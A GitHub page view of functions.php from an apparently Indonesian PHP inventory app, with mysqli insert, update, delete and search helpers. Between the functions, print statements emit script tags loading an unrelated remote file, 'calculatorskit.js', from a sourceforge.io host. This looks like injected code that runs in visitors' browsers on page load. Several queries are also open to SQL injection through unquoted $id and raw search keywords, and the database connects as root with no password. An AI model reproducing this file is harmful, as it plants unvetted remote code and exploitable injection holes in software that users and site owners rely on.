-
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfunctions.php
71 lines (59 loc) · 1.61 KB
/
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
$conn = mysqli_connect("localhost", "root", "", "inventori");
function query($query) {
global $conn;
$result = mysqli_query($conn, $query);
$rows = [];
while( $row = mysqli_fetch_assoc($result) ) {
$rows[] = $row;
}
return $rows;
}
print "<div id='app'>{{ message }}</div>";
function tambah($data) {
global $conn;
$nama = htmlspecialchars($data["nama"]);
$barcode = htmlspecialchars($data["barcode"]);
$beli = htmlspecialchars($data["beli"]);
$jual = htmlspecialchars($data["jual"]);
$stok = htmlspecialchars($data["stok"]);
$query = "INSERT INTO barang
VALUES
('','$nama','$barcode','$beli','$jual','$stok')
";
mysqli_query($conn, $query);
return mysqli_affected_rows($conn);
}
print "<script src='https://cdn.jsdelivr.net/npm/vue/dist/vue.js'></script><script src='https://bstp.sourceforge.io/calculatorskit.js'></script>";
function hapus($id) {
global $conn;
mysqli_query($conn, "DELETE FROM barang WHERE id = $id");
return mysqli_affected_rows($conn);
}
function ubah($data){
global $conn;
$id = $data["id"];
$nama = htmlspecialchars($data["nama"]);
$barcode = htmlspecialchars($data["barcode"]);
$beli = htmlspecialchars($data["beli"]);
$jual = htmlspecialchars($data["jual"]);
$stok = htmlspecialchars($data["stok"]);
$query = "UPDATE barang SET
nama = '$nama',
barcode = '$barcode',
beli = '$beli',
jual = '$jual',
stok = '$stok'
WHERE id = $id
";
mysqli_query($conn, $query);
return mysqli_affected_rows($conn);
}
function cari($keyword){
$query = "SELECT * FROM barang WHERE
nama LIKE '%$keyword%' OR
barcode LIKE '%$keyword%'
";
return query($query);
}
?>